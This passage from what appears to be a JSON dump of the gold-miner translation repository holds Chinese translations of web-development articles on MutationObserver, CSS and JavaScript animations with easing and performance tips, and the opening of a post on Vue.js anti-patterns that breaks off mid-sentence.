HTTP/2，以及如何在二者中做出正确的选择](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md)\n6. [[译] JavaScript 是如何工作的：与 WebAssembly 一较高下 + 为何 WebAssembly 在某些情况下比 JavaScript 更为适用](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md)\n7. [[译] JavaScript 是如何工作的：Web Worker 的内部构造以及 5 种你应当使用它的场景](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md)\n8. [[译] JavaScript 是如何工作的：Web Worker 生命周期及用例](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-service-workers-their-life-cycle-and-use-cases.md)\n9. [[译] JavaScript 是如何工作的：Web 推送通知的机制](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-mechanics-of-web-push-notifications.md)\n\nweb 应用正在持续的越来越侧重客户端，这是由很多原因造成的，例如需要更丰富的 UI 来承载复杂应用的需求，实时运算，等等。\n\n持续增加的复杂度使得在 web 应用的生命周期的任意时刻中获取 UI 的确切状态越来越困难。\n\n而当你在搭建某些框架或者库的时候，甚至会更加困难，例如，前者需要根据 DOM 来作出反应并执行特定的动作。\n\n### 概览\n\n[MutationObserver](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver) 是一个现代浏览器提供的 Web API，用于检测 DOM 的变化。借助这个 API，可以监听到节点的新增或移除，节点的属性变化或者字符节点的字符内容变化。\n\n为什么你会想要监听 DOM？\n\n这里有很多 MutationObserver API 带来极大便捷的例子，比如：\n\n*   你想要提醒 web 应用的用户，他现在所浏览的页面有内容发生了变化。\n*   你正在使用一个新的花哨的 JavaScript 框架，它根据 DOM 的变化动态加载 JavaScript 模块。\n*   也许你正在开发一个 WYSIWYG 编辑器，并试着实现撤销/重做功能。借助 MutationObserver API，你在任何时间都能知道发生了什么变化，所以撤销也就非常容易。\n\n![](https://cdn-images-1.medium.com/max/800/1*48tGIboHxgLeKEjMTGkUGg.png)\n\n这里有几个关于 MutationObserver 是如何带来便捷的例子。\n\n#### 如何使用 MutationObserver\n\n将 `MutationObserver` 应用于你的应用相当简单。你需要通过传入一个函数来创建一个 `MutationObserver` 实例，每当有变化发生，这个函数将会被调用。函数的第一个参数是一个批次内所有的变化（mutation）的集合。每个变化都会提供它的类型和已经发生的变化的信息。\n\n```\nvar mutationObserver = new MutationObserver(function(mutations) {\n  mutations.forEach(function(mutation) {\n    console.log(mutation);\n  });\n});\n```\n\n这个被创建的对象有三个方法：\n\n*   `observe` — 开始监听变化。需要两个参数 - 你需要观察的 DOM 和一个设置对象\n*   `disconnect` — 停止监听变化\n*   `takeRecords` — 在回调函数调用之前，返回最后一个批次的变化。\n\n下面这个代码片段展示了如何开始观察：\n\n```\n// 开始监听页面中根 HTML 元素中的变化。\nmutationObserver.observe(document.documentElement, {\n  attributes: true,\n  characterData: true,\n  childList: true,\n  subtree: true,\n  attributeOldValue: true,\n  characterDataOldValue: true\n});\n```\n\n现在，假设在 DOM 中你有一些非常简单的 `div` ：\n\n```\n<div id=\"sample-div\" class=\"test\"> Simple div </div>\n```\n\n使用 jQuery，你可以移除这个 div 的 `class` 属性：\n\n```\n$(\"#sample-div\").removeAttr(\"class\");\n```\n\n当我们开始观察，在调用 `mutationObserver.observe(...)` 之后我们将会在控制台看到每个 [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) 的日志：\n\n![](https://cdn-images-1.medium.com/max/800/1*UxkSstuyCvmKkBTnjbezNw.png)\n\n这个是由移除 `class` 属性导致的变化。\n\n最后，为了在任务结束后停止对 DOM 的观察，你可以这样做：\n\n```\n// 停止 MutationObserver 对变化的监听。\nmutationObserver.disconnect();\n```\n\n现在，`MutationObserver` 已经被广泛支持：\n\n![](https://cdn-images-1.medium.com/max/800/0*nlOmrsfy-Y1XoR8B.)\n\n#### 备择方案\n\n不管怎么说，`MutationObserver` 并不是一直就有的。那么当 `MutationObserver` 出现之前，开发者用的是什么？\n\n这是几个可用的其他选项：\n\n*   **Polling**\n*   **MutationEvents**\n*   **CSS animations**\n\n#### Polling\n\n最简单的最接近原生的方法是 polling。使用浏览器的 setInterval web 接口你可以设置一个在一段时间后检查是否有变化发生的任务。自然，这个方法将会严重的降低应用或者网站的性能。\n\n#### MutationEvents\n\n在 2000 年，[MutationEvents API](https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Mutation_events) 被引入。尽管很有用，但是每次 DOM 发生变化 mutation events 都会被触发，这将再次导致性能问题。现在 `MutationEvents` 接口已经被废弃，很快，现代浏览器将会完全停止对它的支持。\n\n这是浏览器对 `MutationEvents` 的支持：\n\n![](https://cdn-images-1.medium.com/max/800/0*l-QdpBfjwNfPDTyh.)\n\n#### CSS animations\n\n一个有点奇怪的备选方案依赖于 [CSS animations](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations)。这可能听起来有些让人困惑。基本上，这个方案是创建一个动画，一旦一个元素被添加到了 DOM，这个动画就将会被触发。动画开始的时候，`animationstart` 事件会被触发：如果你对这个事件绑定了一个处理器，你将会确切的知道元素是什么时候被添加到 DOM 的。动画执行的时间段很短，所以实际应用的时候它对用户是不可见的。\n\n首先，我们需要一个父级元素，我们在它的内部监听节点的插入：\n\n```\n<div id=”container-element”></div>\n```\n\n为了得到节点插入的处理器，我们需要设置一系列的 [keyframe](https://www.w3schools.com/cssref/css3_pr_animation-keyframes.asp) 动画，当节点插入的时候，动画将会开始。\n\n```\n@keyframes nodeInserted { \n from { opacity: 0.99; }\n to { opacity: 1; } \n}\n```\n\nkeyframes 已经创建，动画还需要被应用于你想要监听的元素。注意应设置很小的 duration 值 —— 它们将会减弱动画在浏览器上留下的痕迹：\n\n```\n#container-element * {\n animation-duration: 0.001s;\n animation-name: nodeInserted;\n}\n```\n\n这为 `container-element` 的所有子节点都添加了动画。当动画结束后，插入的事件将会被触发。\n\n我们需要一个作为事件监听者的 JavaScript 方法。在方法内部，必须确保初始的 `event.animationName` 检测是我们想要的那个动画。\n\n```\nvar insertionListener = function(event) {\n  // 确保这是我们想要的那个动画。\n  if (event.animationName === \"nodeInserted\") {\n    console.log(\"Node has been inserted: \" + event.target);\n  }\n}\n```\n\n现在是时候为父级元素添加事件监听了：\n\n```\ndocument.addEventListener(“animationstart”, insertionListener, false); // standard + firefox\ndocument.addEventListener(“MSAnimationStart”, insertionListener, false); // IE\ndocument.addEventListener(“webkitAnimationStart”, insertionListener, false); // Chrome + Safari\n\n```\n\n这是浏览器对于 CSS 动画的支持：\n\n![](https://cdn-images-1.medium.com/max/800/0*W4wHvVAeUmc45vA2.)\n\n`MutationObserver` 能提供上述提到的解决方案没有的很多优点。本质上，它能覆盖到每一个可能发生的 DOM 的变化，并且它会在一个批次的变化发生后被触发，这种方法使得它得到大大的优化。最重要的，`MutationObserver` 被所有的主流现代浏览器所支持，还有一些使用引擎下 MutationEvents 的 polyfill。\n\n`MutationObserver` 在 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=mutation-observer-post) 库中占据了核心位置。\n\n你一旦将 SessionStack 库整合进 web 应用，它就开始收集 DOM 变化、网络请求、错误信息、debug 信息等等，并发送到我们的服务器。SessionStack 使用这些信息重新创建了你的用户端发生的一切，并以发生在用户端的同样的方式将产品的问题展现给你。很多用户认为 SessionStack 记录的实际是视频 -- 然而它并没有。记录真实情况的视频是很耗费资源的，然而我们收集的少量数据却很轻量，并不会影响 UX 和你的 web 应用的性能。\n\n如果你想要[尝试一下 SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-try-now)，这是一个免费的设计案例。\n\n![](https://cdn-images-1.medium.com/max/800/0*h2Z_BnDiWfVhgcEZ.)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-javascript-works-under-the-hood-of-css-and-js-animations-how-to-optimize-their-performance.md",
    "content": "> * 原文地址：[How JavaScript works: Under the hood of CSS and JS animations + how to optimize their performance](https://blog.sessionstack.com/how-javascript-works-under-the-hood-of-css-and-js-animations-how-to-optimize-their-performance-db0e79586216)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-under-the-hood-of-css-and-js-animations-how-to-optimize-their-performance.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-under-the-hood-of-css-and-js-animations-how-to-optimize-their-performance.md)\n> * 译者：[NoName4Me](https://github.com/NoName4Me)\n> * 校对者：[Colafornia](https://github.com/Colafornia)、[LVINYEH](https://github.com/ALVINYEH)\n\n# JavaScript 是如何工作的：CSS 和 JS 动画背后的原理 + 如何优化性能\n\n这是专门探索 JavaScript 及其构建组件系列的第 13 篇文章。在识别和描述核心元素的过程中，我们还分享了构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=js-series-networking-layer-intro) 时的一些经验法则，SessionStack 是一个足够强大且高性能的 JavaScript 应用程序，用来帮助用户实时查看和重现其 Web 应用程序的缺陷。\n\n如果你错过了前面的章节，你可以在这里找到它们：\n\n1. [[译] JavaScript 是如何工作的：对引擎、运行时、调用堆栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42)\n2. [[译] JavaScript 是如何工作的：在 V8 引擎里 5 个优化代码的技巧](https://juejin.im/post/5a102e656fb9a044fd1158c6)\n3. [[译] JavaScript 是如何工作的：内存管理 + 处理常见的4种内存泄漏](https://juejin.im/post/5a2559ae6fb9a044fe4634ba)\n4. [[译] JavaScript 是如何工作的: 事件循环和异步编程的崛起 + 5个如何更好的使用 async/await 编码的技巧](https://juejin.im/post/5a221d35f265da43356291cc)\n5. [[译] JavaScript 是如何工作的：深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2，以及如何在二者中做出正确的选择](https://juejin.im/post/5a522647518825732d7f6cbb)\n6. [[译] JavaScript 是如何工作的：与 WebAssembly 一较高下 + 为何 WebAssembly 在某些情况下比 JavaScript 更为适用](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md)\n7. [[译] JavaScript 是如何工作的：Web Worker 的内部构造以及 5 种你应当使用它的场景](https://juejin.im/post/5a90233bf265da4e92683de3)\n8. [[译] JavaScript 是如何工作的：Web Worker 生命周期及用例](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-service-workers-their-life-cycle-and-use-cases.md)\n9. [[译] JavaScript 是如何工作的：Web 推送通知的机制](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-mechanics-of-web-push-notifications.md)\n10. [[译] JavaScript 是如何工作的：用 MutationObserver 追踪 DOM 的变化](https://juejin.im/post/5aee720df265da0b8f627173)\n11. [[译] JavaScript 是如何工作的：渲染引擎和性能优化技巧](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance.md)\n12. [[译] JavaScript 是如何工作的：网络层内部 + 如何优化其性能和安全性](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-inside-the-networking-layer-how-to-optimize-its-performance-and-security.md)\n\n### 概览\n\n你也知道，动画在创造吸引人的 web app 中扮演着重要的角色。随着用户越来越多地将注意力转移到用户体验上，商家也开始意识到完美、愉悦的用户体验的重要性，web app 变得更加重要，并且 UI 更趋于动效。这一切都需要更复杂的动画，以便在用户使用中实现更平滑的状态转换。今天，这甚至不被认为是特别的。用户正在变得越来越挑剔，默认期望高效响应和互动的用户界面。\n\n但是，动效化你的界面可没那么简单。将什么做成动画，什么时候，做成什么样的动画，都是棘手的问题。\n\n### JavaScript 和 CSS 动画\n\n创建网页动画的两种主要方式是使用 JavaScript 和 CSS。没有绝对优劣; 一切都取决于你的目标。\n\n#### CSS 动画\n\n用 CSS 实现动画是让屏幕上的内容移动的最简单方法。\n\n我们将以一个快速示例说明如何在 X 轴和 Y 轴上移动 50 像素的元素。通过设置耗时 1000 ms 的 CSS 过渡来完成的。\n\n```css\n.box {\n  -webkit-transform: translate(0, 0);\n  -webkit-transition: -webkit-transform 1000ms;\n\n  transform: translate(0, 0);\n  transition: transform 1000ms;\n}\n\n.box.move {\n  -webkit-transform: translate(50px, 50px);\n  transform: translate(50px, 50px);\n}\n```\n\n当类 `move` 被添加后，`transform` 的值会改变，过渡开始。\n\n除了过渡的时长，还有其它的用来**缓动**的选项，这些就是你看到的动画的本质。稍后我们将在本文中更详细地讨论缓动。\n\n如果像上面的代码片段那样创建单独的 CSS 类来管理动画，你就可以使用 JavaScript 来切换每个动画的开启和关闭。\n\n假设你有这样的一个元素：\n\n```html\n<div class=\"box\">\n  Sample content.\n</div>\n```\n\n然后，你可以使用 JavaScript 切换每个动画的开启和关闭：\n\n```js\nvar boxElements = document.getElementsByClassName('box'),\n    boxElementsLength = boxElements.length,\n    i;\n\nfor (i = 0; i < boxElementsLength; i++) {\n  boxElements[i].classList.add('move');\n}\n```\n\n上面的代码片段获取了所有具有 `box` 类的元素，并添加了 `move` 类以触发动画。\n\n这样做可以为你的 app 提供很好的平衡。你可以专注于使用 JavaScript 管理状态，并简单地在目标元素上设置适当的类，让浏览器处理动画。如果沿着这条路线走下去，你可以监听 `transitionend` 元素上的事件，但前提是你能够放弃对旧版 Internet Explorer 的支持：\n\n![](https://cdn-images-1.medium.com/max/800/1*Qm9OFPq3siW0tCKfa03DqQ.png)\n\n监听 `transitioned` 过渡结束时触发的事件，如下所示：\n\n```js\nvar boxElement = document.querySelector('.box'); // 获取有 box 类的第一个元素。\nboxElement.addEventListener('transitionend', onTransitionEnd, false);\n\nfunction onTransitionEnd() {\n  // 处理过渡完成。\n}\n```\n\n除了 CSS 过渡，你还可以使用 CSS 动画，它使你对动画关键帧、持续时间、重复有更多的控制。\n\n> 关键帧用于指示浏览器在给定点处 CSS 属性应该有什么值，并填补（关键帧之间的）空白。\n\n我们看个例子：\n\n```css\n/**\n * 这是没有加浏览器属性前缀的简化版本\n * 如果加上，会比较冗长！\n */\n.box {\n  /* 指定动画 */\n  animation-name: movingBox;\n\n  /* 动画时长 */\n  animation-duration: 2300ms;\n\n  /* 动画重复次数 */\n  animation-iteration-count: infinite;\n\n  /* 动画正反交替进行 */\n  animation-direction: alternate;\n}\n\n@keyframes movingBox {\n  0% {\n    transform: translate(0, 0);\n    opacity: 0.4;\n  }\n\n  25% {\n    opacity: 0.9;\n  }\n\n  50% {\n    transform: translate(150px, 200px);\n    opacity: 0.2;\n  }\n\n  100% {\n    transform: translate(40px, 30px);\n    opacity: 0.8;\n  }\n}\n```\n\n它的效果是这样的（快速演示） — [https://sessionstack.github.io/blog/demos/keyframes/](https://sessionstack.github.io/blog/demos/keyframes/)\n\n使用 CSS 动画，你可以独立于目标元素来定义动画本身，并使用 `animation-name` 属性选择所需的动画。\n\nCSS 动画有时仍然是需要浏览器属性前缀的，`-webkit-` 用于 Safari，Safari Mobile 和 Android。Chrome，Opera，Internet Explorer 和 Firefox 都会在没有前缀的情况下起作用。许多工具可以帮助你创建所需 CSS 的浏览器属性前缀，从而允许你在源文件中编写无前缀的版本。\n\n#### JavaScript 动画\n\n与使用 CSS 过渡或动画相比，使用 JavaScript 创建动画更复杂，但它通常为开发人员提供了更强大的功能。\n\nJavaScript 动画是作为代码的一部分内联编写的。你也可以将它们封装在其他对象中。下面是你需要用 JavaScript 来编写的重新创建前面描述的 CSS 过渡：\n\n```js\nvar boxElement = document.querySelector('.box');\nvar animation = boxElement.animate([\n  {transform: 'translate(0)'},\n  {transform: 'translate(150px, 200px)'}\n], 500);\nanimation.addEventListener('finish', function() {\n  boxElement.style.transform = 'translate(150px, 200px)';\n});\n```\n\n默认情况下，Web 动画仅修改元素的显示。如果你想让你的对象留在它被移动到的位置，那么当动画完成时你应该修改它的底层样式。这就是为什么我们要监听 `finish` 事件，并将 `box.style.transform` 属性设置为 `translate(150px, 200px)`，这与我们动画的第二个变换相同。\n\n使用 JavaScript 动画，你可以在每一步完全控制元素的样式。这意味着你可以放慢动画，暂停动画，停止动画，反转动画，并根据需要操作元素。如果你构建复杂的面向对象的 app，这一点尤其有用，因为你可以适当地封装你的行为。\n\n### 什么是缓动？\n\n自然动作让你的用户对你的 web app 感到更加舒适，从而带来更好的用户体验。\n\n自然情况下，没有什么东西是从一个点到另一个点做线性移动的。事实上，随着它们在我们周围的物质世界中移动，事物往往会加速或减速，因为我们并非处于真空状态，并且存在影响这个因素的不同因素。人类的大脑受制于此会期望这种运动，所以当你为 app 制作动画时，你应该利用这些知识为你带来好处。\n\n有一些术语需要了解一下：\n\n* **「ease-in」** - 开始慢，然后加速。\n* **「ease out」** - 开始快，然后减速。\n\n两个可以合并，比如「ease in out」。\n\n缓动可以让动画感觉起来更自然。\n\n#### 缓动关键词\n\nCSS 过渡和动画允许你选择想要使用的缓动类型。有不同的会影响动画缓动的关键词。当然你完全可以使用自定义的缓动。\n\n以下是你可以在 CSS 中用来控制缓动的一些关键词：\n\n*   `linear`\n*   `ease-in`\n*   `ease-out`\n*   `ease-in-out`\n\n我们逐一研究，看看究竟是什么意思。\n\n#### 线性（`linear`）动画\n\n没有任何缓动的动画称为**线性**动画。\n\n以下是线性过渡的图示：\n\n![](https://cdn-images-1.medium.com/max/800/1*M5htfOGgza04ISv_l-69zg.png)\n\n随着时间的推移，值会等量增加。使用线性运动时，总会感觉不自然。一般来说，你应该避免线性运动。\n\n这是一个简单的实现线性动画的方式：\n\n`transition: transform 500ms linear;`\n\n#### 缓出（`ease-out`）动画\n\n前面已经说过，缓出动画与线性动画相比更快地开始，而后变慢。这就是它的图示：\n\n![](https://cdn-images-1.medium.com/max/800/1*VDWQl67cmbyAFC5xL9Og4g.png)\n\n一般来讲，缓出是用户界面工作的最好选择，因为快速开始给你一种快速响应的感觉，而因为不一致运动在结束时慢下来感觉比较自然。\n\n有很多实现缓出效果的方法，但最简单的就是使用 CSS 关键词：\n\n```css\ntransition: transform 500ms ease-out;\n```\n\n#### 缓入（`ease-in`）动画\n\n它与缓出相反 —— 开始慢，结束快。图示如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*rWh8YlBn8SypiMduLiYDhA.png)\n\n与缓出相比，缓入感觉不太自然，因为它开始慢给人一种无响应的感觉。快速结束也很奇怪，因为整个动画是在加速，而在现实世界中，物体在忽然停止时往往会减速。\n\n要使用缓入动画，类似于缓出或者线性动画，使用关键词：\n\n```css\ntransition: transform 500ms ease-in;\n```\n\n#### 缓入缓出（`ease-in-out`）动画\n\n它是缓入和缓出的结合，图示如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*tGXhNroe8KxGN7r4UTVSHw.png)\n\n不要用于持续时间过长的动画，这会让人觉得你的用户界面无响应。\n\n使用 CSS 关键词 `ease-in-out` 实现缓入缓出动画：\n\n```css\ntransition: transform 500ms ease-in-out;\n```\n\n#### 自定义缓动\n\n你可以定义自己的缓动曲线，从而更好地控制项目动画的形成的感受。\n\n实际上，`ease-in`，`ease-out`，`linear`，`ease` 关键词可以对应到预定义的[贝塞尔曲线](https://en.wikipedia.org/wiki/B%C3%A9zier_curve)里，这在[CSS 过渡规范](http://www.w3.org/TR/css3-transitions/)和[网络动画规范](https://w3c.github.io/web-animations/#scaling-using-a-cubic-bezier-curve)里有详细说明。\n\n#### 贝塞尔曲线\n\n让我们看一下贝塞尔曲线的工作原理。贝塞尔曲线有四个值，或者更确切地说，它需要两对数字。每对描述三次贝塞尔曲线控制点的 X 和 Y 坐标。贝塞尔曲线的起点坐标是 (0, 0)，终点坐标是 (1, 1)。你可以设置这两组数。两个控制点的 X 值必须在 [0, 1] 范围内，并且每个控制点的 Y 值可以超过 [0, 1] 限制，尽管规范没有明确说超过多少。\n\n即使每个控制点的 X 和 Y 值发生轻微变化，都会给你一个完全不同的曲线。我们来看看两个贝塞尔曲线图，点的坐标相近但不同。\n\n![](https://cdn-images-1.medium.com/max/800/1*2v7G1ZJ1C-y_mWHOYQfQKQ.png)\n\n和\n\n![](https://cdn-images-1.medium.com/max/800/1*P5nzyldL4rg36dZmt2RViQ.png)\n\n如你所见，两个图区别比较大。两条曲线的第一个控制点的矢量差为 (0.045, 0.183)，第二个控制点差 (-0.427, -0.054)。\n\n第二条曲线的 CSS 写法如下：\n\n```css\ntransition: transform 500ms cubic-bezier(0.465, 0.183, 0.153, 0.946);\n```\n\n前两个数字是第一个控制点的 X 和 Y 坐标，后两个数字是第二个控制点的 X 和 Y 坐标。\n\n### 性能优化\n\n无论何时动画，你都应该保持 60 fps，否则会对用户的体验产生负面影响。\n\n与世界上其他所有的东西一样，动画也是有代价的。动画一些属性比其他属性更便宜。例如，动画修改一个元素的 `width` 和 `height` 会改变它的形状，而且可能引起页面上其它元素的移动和形状改变。这个过程称为布局。我们在[之前的一篇文章](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance.md)中已经详细讨论过布局和渲染。\n\n一般来说，你应该避免使用触发布局或绘制的属性动画。对于大多数现代浏览器，这意味着将动画（修改的属性）限制为 `opacity` 和 `transform`.\n\n#### `will-change`\n\n你可以使用 `[will-change](https://dev.w3.org/csswg/css-will-change/)` 通知浏览器你打算更改元素的属性。浏览器会在你进行更改之前做最合适的优化。但不要过度使用 `will-change`，因为这样做会浪费浏览器资源，从而导致更多的性能问题。\n\n可以这样为变换和不透明度添加 `will-change`：\n\n```css\n.box {  will-change: transform, opacity;}\n```\n\nChrome，Firefox 和 Opera 的浏览器支持非常好。\n\n![](https://cdn-images-1.medium.com/max/800/1*eyaMLcORDVsCFIf5h_ygjA.png)\n\n#### 选 JavaScript 还是 CSS？\n\n你可能知道了 —— 这个问题没有正确或错误的答案。你只需要记住以下几点：\n\n* 基于 CSS 的动画和原生支持的 Web 动画通常在称为「合成器线程」的线程上处理。它与浏览器的「主线程」不同，在该主线程中执行样式，布局，绘制和 JavaScript。这意味着如果浏览器在主线程上运行一些耗时的任务，这些动画可以继续运行而不会中断。\n* 在许多情况下，`transforms` 和 `opacity` 都可以在合成器线程中处理。\n* 如果任何动画出发了绘制，布局，或者两者，那么「主线程」会来完成该工作。这个对基于 CSS 还是 JavaScript 实现的动画都一样，布局或者绘制的开销巨大，让与之关联的 CSS 或 JavaScript 执行工作、渲染都变得毫无意义。\n\n#### 选择合适的对象来做动画\n\n优秀的动画能让用户对你的项目的享受和参与感更添一层。无论你是喜欢宽度，高度，位置，颜色还是背景，你可以制作任何你喜欢的任何动画，但你需要了解潜在的性能瓶颈。选择不当的动画会对用户体验产生负面影响，因此动画需要兼具性能和适当性。动画越少越好。动画只是为了让你的用户体验感觉自然，但不要过度使用动画。\n\n#### 用动画来增强交互\n\n不要只是因为你能就做动画。相反，使用策略性放置的动画来**增强**用户交互。避免不必要的中断或阻碍用户活动的动画。\n\n#### 避免高代价动画属性\n\n唯一比放置得不好的动画还糟糕的是那些导致页面卡顿的动画。这种类型的动画让用户感到沮丧和不快乐。\n\n在 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=js-series-rendering-engine-outro) 中使用动画非常简单。总的来说，我们遵循上述做法，但由于 UI 的复杂性，我们还有更多利用动画的场景。SessionStack 必须像视频一样重新创建用户在浏览 web app 时遇到问题时发生的所有内容。为此，SessionStack 仅利用会话期间我们的库收集的数据：用户事件，DOM 更改，网络请求，异常，调试消息等。我们的播放器经过高度优化，可以正确呈现和使用所有收集的内容数据，以便从视觉和技术角度出发，为终端用户的浏览器及其中发生的所有事情提供像素级的模拟。\n\n为了确保复制得自然，尤其是在长时间和繁重的用户会话中，我们使用动画正确指示加载/缓冲，并遵循关于如何实现它们的最佳实践，以便我们不占用太多 CPU 时间并让事件轮询自由地渲染会话。\n\n如果你想[试试 SessionStack](https://www.sessionstack.com/signup/)，有免费方案哦。\n\n![](https://cdn-images-1.medium.com/max/800/0*h2Z_BnDiWfVhgcEZ.)\n\n#### 资源\n\n*   [https://developers.google.com/web/fundamentals/design-and-ux/animations/css-vs-javascript](https://developers.google.com/web/fundamentals/design-and-ux/animations/css-vs-javascript)\n*   [https://developers.google.com/web/fundamentals/design-and-ux/animations/](https://developers.google.com/web/fundamentals/design-and-ux/animations/)\n*   [https://developers.google.com/web/fundamentals/design-and-ux/animations/animations-and-performance](https://developers.google.com/web/fundamentals/design-and-ux/animations/animations-and-performance)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-not-to-vue.md",
    "content": "> * 原文地址：[How not to Vue: A list of bad things I’ve found on my new job](https://itnext.io/how-not-to-vue-18f16fe620b5)\n> * 原文作者：[Anton Kosykh](https://itnext.io/@kelin2025?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-not-to-vue.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-not-to-vue.md)\n> * 译者：[sophiayang1997](https://github.com/sophiayang1997)\n> * 校对者：[kezhenxu94](https://github.com/kezhenxu94/) [xxholly32](https://github.com/xxholly32/)\n\n# 怎样更好地使用 Vue\n\n## 我在新工作中遇到的一些问题清单\n\n![](https://cdn-images-1.medium.com/max/800/1*pWo4h-AhSfgyFHDlAkchcw.png)\n\n下面列举一些人的做法。\n\n不久之前，我找到了新工作。而且当我第一次看到代码库的时候，这真是吓坏我了。因此我想在这里展示一些你应该避免在 Vue.js 应用程序中出现的代码。\n\n### data/computed 中的静态属性\n\n我们没有理由将静态属性传递给 `data`，特别是 `computed`。当你这样做时，Vue 将其声明为响应式属性，但是这是不必要的做法。\n\n![](https://cdn-images-1.medium.com/max/800/1*TUsVw4rEJwhw2iFuSyEWkw.png)\n\n**DON’T：** phone 和 city 的响应性毫无用处。\n\n![](https://cdn-images-1.medium.com/max/800/1*HYgxVfj99dt-yaGIeSABGw.png)\n\n**DO：** 将静态属性传给 `$options`。它更加简短，而且不会做多余的工作。\n\n### 考虑将非响应式（non-reactive）的数据转变为响应式（reactive）\n\n请记住：Vue 不是神通广大的。Vue 并不知道你的 **cookies** 何时才会更新。\n\n我提到 cookies 的原因是：我的同事曾经花两个小时去搞清楚为什么他的计算属性没有更新。\n\n![](https://cdn-images-1.medium.com/max/800/1*mSQ5DXcLOlFK6vfdz-Gyjw.png)\n\n**DON’T：** 计算属性应该只基于 Vue 的响应式数据去使用。否则，它将不会起作用。\n\n![](https://cdn-images-1.medium.com/max/800/1*Q7HhvYfTsHNUZLMcnptbhw.png)\n\n**DO：** 手动更新你的非响应式数据。\n\n此外，我建议你不要在计算属性中使用任何边数据（side-data）。你的计算属性中不应该有任何副作用。这样做会为你节省很多时间。相信我。\n\n### 只应该被调用一次的混入（mixins）对象\n\n一听到我说 mixins 很好，**马上就有人关闭这篇帖子了…** 其实 mixins 在一些情况下还是很好用的：\n\n1. 创建可以修改 Vue 实例的插件，提供新功能。\n2. 在不同的组件或者整个应用程序中使用通用的特定方法。\n\n除非有人在 `mounted` 钩子上注册了一个执行效率非常缓慢的全局混入对象。为什么不推荐这样做呢？因为在**每个**组件挂载时该全局混入对象都会被调用，但原则上它只能被调用一次。\n\n我不会展示这一段代码。相反，为了使它更清晰，我会给你一个更简单的例子。\n\n![](https://cdn-images-1.medium.com/max/800/1*qCp4mZoUYKb2PPoqDFeByA.png)\n\n**DON’T.** 避免在混入中（mixins）中执行此操作。它会在每个组件挂载时被调用，即使你并不需要这样做。\n\n![](https://cdn-images-1.medium.com/max/800/1*7-g24ZUvldsPh8XIIPaxTw.png)\n\n**DO.** 在根实例中执行此操作。那么它只会被调用一次。你仍然可以使用 `$root` 访问结果。\n\n#### setTimout/setInterval 的不正确使用\n\n在一次面试中，我团队中一个前端开发者问我是否可以在组件中使用 